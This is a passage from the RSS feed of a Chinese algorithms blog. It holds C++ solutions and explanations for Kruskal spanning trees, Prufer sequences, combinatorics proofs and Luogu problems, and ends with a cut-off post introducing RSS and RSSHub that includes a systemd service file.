    ehead[now] = ecnt;
}

void edge_init(){
    ecnt = 0;
    memset(ehead, 0, sizeof(ehead));
}
// Edge End

// Kru Tree Start
struct k_edge {
    int now, to, hei;
    bool operator&amp;lt; (k_edge b) { return this -&amp;gt; hei &amp;gt; b.hei; }
}k_e[M];

struct _set {
    int fa[N &amp;lt;&amp;lt; 1];
    void init(int now) {
        now &amp;lt;&amp;lt;= 1;
        for(int i = 1; i &amp;lt;= now; i ++)
            fa[i] = i;
    }
    int get_fa(int now) {
        if( fa[now] == now )
            return now;
        return fa[now] = get_fa(fa[now]);
    }
    int&amp;amp; operator[] (int now) { return fa[now]; }
}set;

void kru_tree() {
    edge_init();
    set.init(n);
    _n = n;
    std::sort(k_e + 1, k_e + m + 1);
    for(int i = 1; i &amp;lt;= m; i ++) {
        int tmp_now = set.get_fa( k_e[i].now ), tmp_to = set.get_fa( k_e[i].to );
        if( tmp_now != tmp_to ) {
            n ++;
            Min_hei[n] = k_e[i].hei;
            add_edge(n, tmp_now);
            add_edge(n, tmp_to);
            set[tmp_now] = n;
            set[tmp_to] = n;
        }
    }
}
// Kru Tree End

// Dijkstra Start
struct node {
    int now, dis;
    bool operator&amp;lt; (const node &amp;amp;b)const { return this -&amp;gt; dis &amp;gt; b.dis; }
};
std::priority_queue&amp;lt;node&amp;gt; q;

int dis[N &amp;lt;&amp;lt; 1];
bool vis[N &amp;lt;&amp;lt; 1];

void get_dis(){
    memset(dis, 0x3f, sizeof(dis));
    memset(vis, false, sizeof(vis));
    dis[1] = 0;
    q.push((node){1, 0});
    while( ! q.empty() ) {
        node top = q.top(); q.pop();
        if( vis[ top.now ] )
            continue;
        vis[ top.now ] = true;
        for(int i = ehead[ top.now ]; i; i = e[i].next) {
            if( dis[ top.now ] + e[i].val &amp;lt; dis[ e[i].to ] ){
                dis[ e[i].to ] = dis[ top.now ] + e[i].val;
                if( vis[ e[i].to ] == false )
                    q.push( (node){e[i].to, dis[ e[i].to ]} );
            }
        }
    }
}
// Dijkstra End

void get_st(int now = n, int la = 0) {
    if( now &amp;lt;= _n )
        Min_dis[now] = dis[now], Min_hei[now] = INF;
    else
        Min_dis[now] = INF;
    fa[now][0] = la;
    for(int k = 1; k &amp;lt;= 25; k ++)
        fa[now][k] = fa[ fa[now][ k - 1 ] ][ k - 1 ];

    for(int i = ehead[now]; i; i = e[i].next) {
        if( e[i].to == la )
            continue;
        get_st(e[i].to, now);
        Min_dis[now] = Min(Min_dis[ e[i].to ], Min_dis[now]);
    }
}

int get_ans(int from, int p) {
    for(int k = 25; k &amp;gt;= 0; k --) {
        if(fa[from][k] &amp;amp;&amp;amp; Min_hei[ fa[from][k] ] &amp;gt; p)
            from = fa[from][k];
    }
    return Min_dis[from];
}

void work() {
    int q, k, s, v, p, lastans = 0;
    scanf(&quot;%d%d%d&quot;, &amp;amp;q, &amp;amp;k, &amp;amp;s);
    while( q -- ){
        scanf(&quot;%d%d&quot;, &amp;amp;v, &amp;amp;p);
        v = ( (v + k * lastans - 1) % _n )+ 1;
        p = (p + k * lastans) % (s + 1);
        lastans = get_ans(v, p);
        printf(&quot;%d\n&quot;, lastans);
    }
}

void init() {
    // I don&apos;t know why this fun here.
    // May it&apos;s just an useless decoration.
}

void readin() {
    edge_init();
    scanf(&quot;%d%d&quot;, &amp;amp;n, &amp;amp;m);
    for(int i = 1, v; i &amp;lt;= m; i++) {
        scanf(&quot;%d%d%d%d&quot;, &amp;amp;k_e[i].now, &amp;amp;k_e[i].to, &amp;amp;v, &amp;amp;k_e[i].hei);
        add_edge(k_e[i].now, k_e[i].to, v);
        add_edge(k_e[i].to, k_e[i].now, v);
    }
}

int main() {
    freopen(&quot;return.in&quot;, &quot;r&quot;, stdin);
    freopen(&quot;return.out&quot;, &quot;w&quot;, stdout);
    scanf(&quot;%d&quot;, &amp;amp;T);
    while( T -- ) {
        init();
        readin();
        get_dis();
        kru_tree();

        get_st();
        work();
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Kruskal 最小/大生成树 -- Luogu P1967 货车运输</title><link>https://blog.woshiluo.com/posts/2019/06/kruskal-%E6%9C%80%E5%B0%8F-%E5%A4%A7%E7%94%9F%E6%88%90%E6%A0%91-luogu-p1967-%E8%B4%A7%E8%BD%A6%E8%BF%90%E8%BE%93/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/06/kruskal-%E6%9C%80%E5%B0%8F-%E5%A4%A7%E7%94%9F%E6%88%90%E6%A0%91-luogu-p1967-%E8%B4%A7%E8%BD%A6%E8%BF%90%E8%BE%93/</guid><pubDate>Thu, 06 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1 最小生成树&lt;/h2&gt;
&lt;h3&gt;1.1 生成树&lt;/h3&gt;
&lt;p&gt;无向图 $G$ 的生成树，就是具有图 $G$ 的所有顶点，但是边数最小的联通子图&lt;/p&gt;
&lt;p&gt;更加详细的定义: &lt;a href=&quot;https://zh.wikipedia.org/wiki/%E7%94%9F%E6%88%90%E6%A0%91&quot;&gt;Wikipedia - 生成树&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;1.2 最小生成树&lt;/h3&gt;
&lt;p&gt;带权联通无向图的总权值最小的生成树&lt;/p&gt;
&lt;p&gt;更加详细的定义: &lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%9C%80%E5%B0%8F%E7%94%9F%E6%88%90%E6%A0%91&quot;&gt;Wikipedia - 最小生成树&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;1.3 求解算法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Kruskal 算法&lt;/li&gt;
&lt;li&gt;Prim 算法&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;有一些别的有意思的，甚至接近线性的算法，但是因为其不方便在 Oi 中出现，故此不做其他讨论&lt;/p&gt;
&lt;p&gt;Prim 算法在稠密图具有优势，然而 Oi 中如果是稠密图要么就 Kruskal 也可以过，要么 Prim 也没用……&lt;/p&gt;
&lt;p&gt;所以我们今天仅讨论 Kruskal 算法&lt;/p&gt;
&lt;h2&gt;2 Kruskal 算法&lt;/h2&gt;
&lt;h3&gt;2.1 复杂度部分&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;时间 $O(E \log(V))$
&lt;ul&gt;
&lt;li&gt;E 为边数， V 为点数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 实现&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;对图 $G$ 中所有边排序&lt;/li&gt;
&lt;li&gt;设图 $G&apos;$ 只有图 $G$ 中所有的点，没有边&lt;/li&gt;
&lt;li&gt;从小到大遍历
&lt;ol&gt;
&lt;li&gt;若当前这条边的两点不在同意联通块，则在图 $G&apos;$ 连接两点&lt;/li&gt;
&lt;li&gt;进入下一条边&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;图 $G&apos;$ 即为图 $G$ 的最小生成树&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.3 证明&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;因为每次联通的边都是桥，所以图 $G&apos;$ 一定是树&lt;/li&gt;
&lt;li&gt;若 $u - v$ 之间有一条更短的边，则排序之后一定会更加靠前，优先被选择&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4 代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int k_ecnt;
struct k_edge{
    int now, to, val;
    bool operator&amp;lt; (const k_edge &amp;amp;b)const { return this -&amp;gt; val &amp;gt; b.val; }
}k_e[M &amp;lt;&amp;lt; 1];

struct _set{
    int fa[N];
    inline void init(int now){
        for(int i = 1; i &amp;lt;= now; i++)
            fa[i] = i;
    }
    int get_fa(int now){
        if( fa[now] == now )
            return now;
        return fa[now] = get_fa( fa[now] );
    }
    int&amp;amp; operator[] (int now) { return fa[now]; }
}set;

void kru(){
    set.init(n);
    std::sort(k_e + 1, k_e + k_ecnt + 1);
    for(int i = 1; i &amp;lt;= k_ecnt; i++){
        int tmp_now = set.get_fa( k_e[i].now ), tmp_to = set.get_fa( k_e[i].to );
        if( tmp_now != tmp_to ){
            add_edge(k_e[i].now, k_e[i].to, k_e[i].val);
            add_edge(k_e[i].to, k_e[i].now, k_e[i].val);
            set[ tmp_to ] = tmp_now;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 Luogu P1967 火车运输&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://www.luogu.org/problemnew/show/P1967&quot;&gt;https://www.luogu.org/problemnew/show/P1967&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;题目的意思精简一下就是 求 $u - v$ 路径上的最大边权&lt;/p&gt;
&lt;p&gt;乍一看有一点最短路的味道（至少我人生中第一次看到这到题目的时候是这样子的）&lt;/p&gt;
&lt;p&gt;但如果我们将问题是一棵树上，求两点之间最大边权就非常简单，要么倍增，要么树剖套线段树&lt;/p&gt;
&lt;p&gt;那么问题来了，题目给的是一张无向图……&lt;/p&gt;
&lt;p&gt;但是最大生成树满足这个性质，因为本生最小生成树就保证了链接两个不同联通分量最大的边权&lt;/p&gt;
&lt;p&gt;所以先求最小生成树，然后跑倍增即可&lt;/p&gt;
&lt;h3&gt;3.1 代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;algorithm&amp;gt;

inline int Min(int a, int b) {return a &amp;lt; b? a: b;}

const int N = 11000;
const int M = 51000;
const int INF = 0x3f3f3f3f;

int n, m, q;
bool vis[N];

// edge start
struct edge{
    int to, val, next;
}e[N &amp;lt;&amp;lt; 1];
int ehead[N], ecnt;

inline void add_edge(int now, int to, int val){
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].val = val;
    e[ecnt].next = ehead[now];
    ehead[now] = ecnt;
}
// edge end

// kru start
int k_ecnt;
struct k_edge{
    int now, to, val;
    bool operator&amp;lt; (const k_edge &amp;amp;b)const { return this -&amp;gt; val &amp;gt; b.val; }
}k_e[M &amp;lt;&amp;lt; 1];

struct _set{
    int fa[N];
    inline void init(int now){
        for(int i = 1; i &amp;lt;= now; i++)
            fa[i] = i;
    }
    int get_fa(int now){
        if( fa[now] == now )
            return now;
        return fa[now] = get_fa( fa[now] );
    }
    int&amp;amp; operator[] (int now) { return fa[now]; }
}set;

void kru(){
    set.init(n);
    std::sort(k_e + 1, k_e + k_ecnt + 1);
    for(int i = 1; i &amp;lt;= k_ecnt; i++){
        int tmp_now = set.get_fa( k_e[i].now ), tmp_to = set.get_fa( k_e[i].to );
        if( tmp_now != tmp_to ){
            add_edge(k_e[i].now, k_e[i].to, k_e[i].val);
            add_edge(k_e[i].to, k_e[i].now, k_e[i].val);
            set[ tmp_to ] = tmp_now;
        }
    }
}
// kru end

// st start
int dep[N], fa[N][21], Min_node[N][21];
void get_st(int now, int la){
    vis[now] = true;
    dep[now] = dep[la] + 1;
    fa[now][0] = la;

    for(int k = 1; k &amp;lt;= 20; k++){
        fa[now][k] = fa[ fa[now][ k - 1 ] ][ k - 1 ];
        Min_node[now][k] = Min(Min_node[now][ k - 1 ], Min_node[ fa[now][k - 1] ][ k - 1 ]);
    }

    for(int i = ehead[now]; i; i = e[i].next){
        if( e[i].to == la )
            continue;
        Min_node[ e[i].to ][0] = e[i].val;
        get_st(e[i].to, now);
    }
}
// st end

int query(int from, int to){
    int min = INF;

    if( dep[from] &amp;lt; dep[to] ) { int tmp = to; to = from; from = tmp; }
    for(int k = 20; k &amp;gt;= 0; k --){
        if(dep[ fa[from][k] ] &amp;gt;= dep[to]){
            min = Min(min, Min_node[from][k]);
            from = fa[from][k];
        }
    }
    if( from == to )
        return min;
    for(int k = 20; k &amp;gt;= 0; k --){
        if(fa[from][k] != fa[to][k]){
            min = Min(min, Min(Min_node[from][k], Min_node[to][k]));
            from = fa[from][k];
            to = fa[to][k];
        }
    }
    min = Min(min, Min( Min_node[from][0], Min_node[to][0] ));
    return min;
}

int main(){
#ifdef woshiluo
    freopen(&quot;luogu.1967.in&quot;, &quot;r&quot;, stdin);
    freopen(&quot;luogu.1967.out&quot;, &quot;w&quot; ,stdout);
#endif
    scanf(&quot;%d%d&quot;, &amp;amp;n, &amp;amp;m);
    for(int i = 1, u, v, w; i &amp;lt;= m; i++){
        scanf(&quot;%d%d%d&quot;, &amp;amp;u, &amp;amp;v, &amp;amp;w);
        k_e[ ++ k_ecnt ] = (k_edge){u, v, w};
        k_e[ ++ k_ecnt ] = (k_edge){v, u, w};
    }
    kru();

    for(int i = 1; i &amp;lt;= n; i++){
        if(!vis[i]){
            get_st(i, 0);
//			fa[i][0] = i; Min_node[i][0] = INF;
        }
    }

    scanf(&quot;%d&quot;, &amp;amp;q);

    int u, v;
    while( q -- ) {
        scanf(&quot;%d%d&quot;, &amp;amp;u, &amp;amp;v);
        if( set.get_fa(u) != set.get_fa(v) ){
            printf(&quot;-1\n&quot;);
            continue;
        }
        printf(&quot;%d\n&quot;, query(u, v));
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>可重组合与不相邻组合</title><link>https://blog.woshiluo.com/posts/2019/06/%E5%8F%AF%E9%87%8D%E7%BB%84%E5%90%88%E4%B8%8E%E4%B8%8D%E7%9B%B8%E9%82%BB%E7%BB%84%E5%90%88/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/06/%E5%8F%AF%E9%87%8D%E7%BB%84%E5%90%88%E4%B8%8E%E4%B8%8D%E7%9B%B8%E9%82%BB%E7%BB%84%E5%90%88/</guid><pubDate>Sun, 02 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;可重组合&lt;/h2&gt;
&lt;p&gt;从 ${1, 2, 3 \cdots, n - 1, n}$ 中选出 $m$ 个元素，可以重复，有多少个不同的组合？&lt;/p&gt;
&lt;p&gt;答案 $C_{n + m - 1}^{m}$&lt;/p&gt;
&lt;p&gt;证明&lt;/p&gt;
&lt;p&gt;显然，问题可以转换为 $m$ 个球放入 $n$ 个盒子，可以放无数个或者不放&lt;/p&gt;
&lt;p&gt;即插入 $n - 1$ 个隔板，然后求全排列 $(m + n - 1)!$&lt;/p&gt;
&lt;p&gt;但是隔板和球的顺序是无效的所以除去 $m! \times (n-1)!$&lt;/p&gt;
&lt;p&gt;即&lt;/p&gt;
&lt;p&gt;$$
\frac{(m + n - 1)!}{m! \times (n - 1)!} = C_{n + m -1}^m
$$&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;不相邻组合&lt;/h2&gt;
&lt;p&gt;从 $A = {1, 2, 3 \cdots, n - 1, n}$ 中选取 $m$ 个不相邻的数，有多少个不同的组合&lt;/p&gt;
&lt;p&gt;答案 $C_{n - m + 1}^{m}$&lt;/p&gt;
&lt;p&gt;证明&lt;/p&gt;
&lt;p&gt;设 $B={b_1, b_2, b_3 \cdots b_{m - 1}, b_m}$ 是一个不相邻组合，假设 $b_1 &amp;lt; b_2 &amp;lt; b_3 &amp;lt; \cdots &amp;lt; b_{m - 1} &amp;lt; b_m$&lt;/p&gt;
&lt;p&gt;令 $c_1 = b_1, c_2 = b_2 + 1, c_3 = b_3 + 2 \cdots c_m = b_m + m - 1$&lt;/p&gt;
&lt;p&gt;则&lt;/p&gt;
&lt;p&gt;$c_m \leq n + m - 1$&lt;/p&gt;
&lt;p&gt;即 $c$ 为 $1$ 到 $ n + m - 1 $ 的全排列&lt;/p&gt;
&lt;p&gt;得证&lt;/p&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Prufer序列 入门 -- P2290 [HNOI2004]树的计数</title><link>https://blog.woshiluo.com/posts/2019/06/prufer%E5%BA%8F%E5%88%97-%E5%85%A5%E9%97%A8-p2290-hnoi2004%E6%A0%91%E7%9A%84%E8%AE%A1%E6%95%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/06/prufer%E5%BA%8F%E5%88%97-%E5%85%A5%E9%97%A8-p2290-hnoi2004%E6%A0%91%E7%9A%84%E8%AE%A1%E6%95%B0/</guid><pubDate>Sun, 02 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 前置知识点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.woshiluo.com/722.html&quot;&gt;排列组合&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;高精度 / 分解质因数&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1 Prufer 序列&lt;/h2&gt;
&lt;p&gt;对于一个带编号的无根树，其 Prufer 序列按以下过程处理&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;选取所有节点中度数最小编号最小的一个节点&lt;/li&gt;
&lt;li&gt;输出其相邻的编号&lt;/li&gt;
&lt;li&gt;回到 1 ，直到只剩两个节点为止&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;每个 Prufer 序列，都对应唯一的一个带编号的无根树&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;按照以下步骤即可从 Prufey 序列变成一棵树&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;选取在数列中没有出现过的数字且未标记最小的一个，将其标记&lt;/li&gt;
&lt;li&gt;其为当前序列中第一个节点的儿子&lt;/li&gt;
&lt;li&gt;将第一位移出 Prufey 序列，回到步骤 1&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因为算法可以一直进行下去，所以任意 Prufey 编码对应一个带编码的无根树&lt;/p&gt;
&lt;p&gt;所以无向图的生成树个数为 $n^{n - 2}$ ， 这就是 Cayley 公式啦！&lt;/p&gt;
&lt;h2&gt;2 题目&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://www.luogu.org/problemnew/show/P2290&quot;&gt;https://www.luogu.org/problemnew/show/P2290&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;根据 Prufer 序列的性质可得&lt;/p&gt;
&lt;p&gt;度数为 $x$ 的点在 Prufer 序列中会出现 $x - 1$ 次&lt;/p&gt;
&lt;p&gt;则给定度数的无根树总共会有&lt;/p&gt;
&lt;p&gt;$$
\frac{ (n - 2)! }{\prod_{i = 1}^n (d_i - 1)!}
$$&lt;/p&gt;
&lt;p&gt;众情况&lt;/p&gt;
&lt;p&gt;其中&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$d_i$ 为 $i$ 点的度数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以这么理解&lt;/p&gt;
&lt;p&gt;$ (n - 2) !$ 是全排列&lt;/p&gt;
&lt;p&gt;$\prod_{i = 1}^n (d_i - 1)!$ 是去除重复计算的情况&lt;/p&gt;
&lt;p&gt;然后很明显，这个代码会爆 &lt;code&gt;long long&lt;/code&gt; ,所以要么高精度，要么分解质因树&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

const int BASE = 10;

struct Bigint {
    int num[11000], cnt;
    Bigint() {
        cnt = 0;
        memset(num, 0, sizeof(num));
    }
    int&amp;amp; operator[] (int now) { return num[now]; }
    void operator*= (int now) {
        for(int i = 1; i &amp;lt;= cnt; i ++)
            num[i] *= now;
        for(int i = 1; i &amp;lt;= cnt; i ++){
            if( num[i] &amp;gt;= BASE ) {
                num[i + 1] += num[i] / BASE;
                num[i] %= BASE;
            }
        }
        while(num[cnt + 1] != 0){
            cnt ++;
            if( num[cnt] &amp;gt;= BASE ) {
                num[cnt + 1] += num[cnt] / BASE;
                num[cnt] %= BASE;
            }
        }
    }
    void operator/= (int now){
        for(int i = cnt; i; i --){
            num[i - 1] += (num[i] % now * 10);
            num[i] /= now;
        }
        while( !num[ cnt ] )
            cnt --;
    }
    void to_bigint(int now) {
        while(now) {
            num[ ++ cnt ] = now % BASE;
            now /= BASE;
        }
    }
    void print(char end = 0) {
        for(int i = cnt; i; i --)
            printf(&quot;%d&quot;, num[i]);
        end &amp;amp;&amp;amp; putchar(end);
    }
};

int main() {
#ifdef woshiluo
    freopen(&quot;luogu.2290.in&quot;, &quot;r&quot;, stdin);
    freopen(&quot;luogu.2290.out&quot;, &quot;w&quot;, stdout);
#endif
    int n, d[1100], sum = 0;
    scanf(&quot;%d&quot;, &amp;amp;n);
    // 特判 1 的情况
    if(n == 1){
        scanf(&quot;%d&quot;, &amp;amp;d[1]);
        if(!d[1])
            printf(&quot;1&quot;);
        else
            printf(&quot;0&quot;);
        return 0;
    }
    for(int i = 1; i &amp;lt;= n; i++){
        scanf(&quot;%d&quot;, &amp;amp;d[i]);
        if(d[i] == 0){
            printf(&quot;0&quot;);
            return 0;
        }
        sum += d[i] - 1;
    }
    Bigint ans; ans.to_bigint(1);
    for(int i = 1; i &amp;lt;= n - 2; i++)
        ans *= i;
    for(int i = 1; i &amp;lt;= n; i++)
        for(int j = 1; j &amp;lt; d[i]; j++)
            ans /= j;
    if(sum == n - 2)
        ans.print();
    else {
        printf(&quot;0&quot;);
        return 0;
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Luogu P2624 [HNOI2008]明明的烦恼</title><link>https://blog.woshiluo.com/posts/2019/06/luogu-p2624-hnoi2008%E6%98%8E%E6%98%8E%E7%9A%84%E7%83%A6%E6%81%BC/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/06/luogu-p2624-hnoi2008%E6%98%8E%E6%98%8E%E7%9A%84%E7%83%A6%E6%81%BC/</guid><pubDate>Sun, 02 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://www.luogu.org/problemnew/show/P2624&quot;&gt;https://www.luogu.org/problemnew/show/P2624&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;0 前置技能&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.woshiluo.com/1228.html&quot;&gt;Prufer 序列&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1 推式子时间&lt;/h2&gt;
&lt;p&gt;这个题目很像 &lt;a href=&quot;https://blog.woshiluo.com/1228.html&quot;&gt;Luogu P2290&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是问题在于，这个里面具有不确定的度数&lt;/p&gt;
&lt;p&gt;经过简单的思考，我们可以得出以下式子&lt;/p&gt;
&lt;p&gt;$$
C_{n - 2}^{cnt} \times \frac{sum!}{\prod_{i = 1}^{cnt} (d_i - 1)!} \times (n - cnt) ^{n - sum - 2}
$$&lt;/p&gt;
&lt;p&gt;其中&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$sum$ 为已知总度数&lt;/li&gt;
&lt;li&gt;$cnt$ 为已知点数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;我们分两段解释&lt;/p&gt;
&lt;p&gt;$$
C_{n - 2}^{cnt} \times \frac{sum!}{\prod_{i = 1}^{cnt} (d_i - 1)!}
$$&lt;/p&gt;
&lt;p&gt;这一段是将已经有的放到 Prufer 序列中的方案数&lt;/p&gt;
&lt;p&gt;$$
(n - cnt) ^{n - sum - 2}
$$&lt;/p&gt;
&lt;p&gt;剩下 $n - cnt$ 个点，可以放在剩下的所有位置（共$n - sum - 2$）中&lt;/p&gt;
&lt;p&gt;然后化简一下式子&lt;/p&gt;
&lt;p&gt;$$
\frac{(n-2)!}{(n-sum-2)\times \prod_{i=1}^{cnt}(d_i-1)!}\times (n-cnt)^{n-sum-2}
$$&lt;/p&gt;
&lt;p&gt;高精度警告&lt;/p&gt;
&lt;h2&gt;2 代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

const int BASE = 10;

struct Bigint {
    int num[11000], cnt;
    Bigint() {
        cnt = 0;
        memset(num, 0, sizeof(num));
    }
    int&amp;amp; operator[] (int now) { return num[now]; }
    void operator*= (int now) {
        for(int i = 1; i &amp;lt;= cnt; i ++)
            num[i] *= now;
        for(int i = 1; i &amp;lt;= cnt; i ++){
            if( num[i] &amp;gt;= BASE ) {
                num[i + 1] += num[i] / BASE;
                num[i] %= BASE;
            }
        }
        while(num[cnt + 1] != 0){
            cnt ++;
            if( num[cnt] &amp;gt;= BASE ) {
                num[cnt + 1] += num[cnt] / BASE;
                num[cnt] %= BASE;
            }
        }
    }
    void operator/= (int now){
        for(int i = cnt; i; i --){
            num[i - 1] += (num[i] % now * 10);
            num[i] /= now;
        }
        while( !num[ cnt ] )
            cnt --;
    }
    void to_bigint(int now) {
        while(now) {
            num[ ++ cnt ] = now % BASE;
            now /= BASE;
        }
    }
    void print(char end = 0) {
        for(int i = cnt; i; i --)
            printf(&quot;%d&quot;, num[i]);
        end &amp;amp;&amp;amp; putchar(end);
    }
};

int main() {
#ifdef woshiluo
    freopen(&quot;luogu.2624.in&quot;, &quot;r&quot;, stdin);
    freopen(&quot;luogu.2624.out&quot;, &quot;w&quot;, stdout);
#endif
    int n, d[1100], cnt = 0, sum = 0;
    scanf(&quot;%d&quot;, &amp;amp;n);
    for(int i = 1; i &amp;lt;= n; i++){
        scanf(&quot;%d&quot;, &amp;amp;d[i]);
        if(d[i] == -1)
            continue;
        cnt ++; sum += d[i] - 1;
    }
    Bigint ans; ans.to_bigint(1);
    for(int i = n - 1 - sum; i &amp;lt; n - 1; i++)
        ans *= i;
    for(int i = 1; i &amp;lt;= n - 2 - sum; i++)
        ans *= (n - cnt);
    for(int i = 1; i &amp;lt;= n; i++)
        for(int j = 1; j &amp;lt; d[i]; j++)
            ans /= j;
    ans.print();
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>RSS 从入门到卸载客户端</title><link>https://blog.woshiluo.com/posts/2019/05/rss-%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%8D%B8%E8%BD%BD%E5%AE%A2%E6%88%B7%E7%AB%AF/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/05/rss-%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%8D%B8%E8%BD%BD%E5%AE%A2%E6%88%B7%E7%AB%AF/</guid><pubDate>Fri, 31 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 说在之前&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;RSS&lt;/code&gt; 一说起这个词语，绝大多数人想到的都是 10 年以前，一行行字母，没有任何样式的网页，跟现今比起来，几乎没有任何的优势&lt;/p&gt;
&lt;p&gt;故此我们总是觉得，RSS 已经成为了时代的眼泪，但是 RSS 的核心便是流，信息流，这和当下的媒体传播方式并无二，故只要运用得当，RSS 并不过气&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 从哪里找 RSS？&lt;/h2&gt;
&lt;p&gt;许多网站都有自己的 RSS，通常会在页面的一个小角落里，有着一个 Feed / RSS 订阅，当然，有些时候，你也可以试着在 Url 后面加 &lt;code&gt;/feed&lt;/code&gt;，说不定就中奖了呢？&lt;/p&gt;
&lt;p&gt;但是有很多时候，网站并不会给你提供 RSS 订阅源，原因也很容易理解，如果你使用自家的 App / 网页段，一来增加用户粘性，二来方便推送广告，加上绝大多数用户不懂 / 懒得懂 其中的问题，只顾使用，并不会激起大多数用户反感&lt;/p&gt;
&lt;p&gt;那我们的 RSS 作用只有看几个新闻媒体每天的新闻了？&lt;/p&gt;
&lt;p&gt;当然不是！&lt;/p&gt;
&lt;p&gt;这有一款神奇的玩意儿&lt;/p&gt;
&lt;h2&gt;2 RSSHub&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;项目链接: &amp;lt;&lt;a href=&quot;https://github.com/DIYgod/RSSHub&quot;&gt;https://github.com/DIYgod/RSSHub&lt;/a&gt;&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这个项目能够将很多我们所熟悉的东西，变成简洁的 RSS，如果你有不满，你甚至可以自己动手，丰衣足食 —— 自行扩展，因为这是一个开源软件&lt;/p&gt;
&lt;p&gt;配置搭建之类的项目里面都写的挺清楚的，这里只稍微阐述一下如何将 RSSHub 做成服务&lt;/p&gt;
&lt;h3&gt;2.1 将 RSSHub 做成服务&lt;/h3&gt;
&lt;p&gt;编辑 &lt;code&gt;/etc/systemd/rsshub.service&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=RSSHub Service
After=network.target remote-fs.target nss-lookup.target

[Service]
Type=Simple
Group=www-data
User=www-data
WorkingDirectory=/opt/RSSHub
ExecStart=/usr/bin/npm start &amp;gt;/dev/null

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 RSS 的日常使用&lt;/h2&gt;
&lt;p&gt;如果你选择使用客户端订阅 RSS，你会发现，没有同步，还容易被刷掉一些奇妙的东西,如果你有许多的 RSS 订阅，甚至没有办法同步已读&lt;/p&gt;
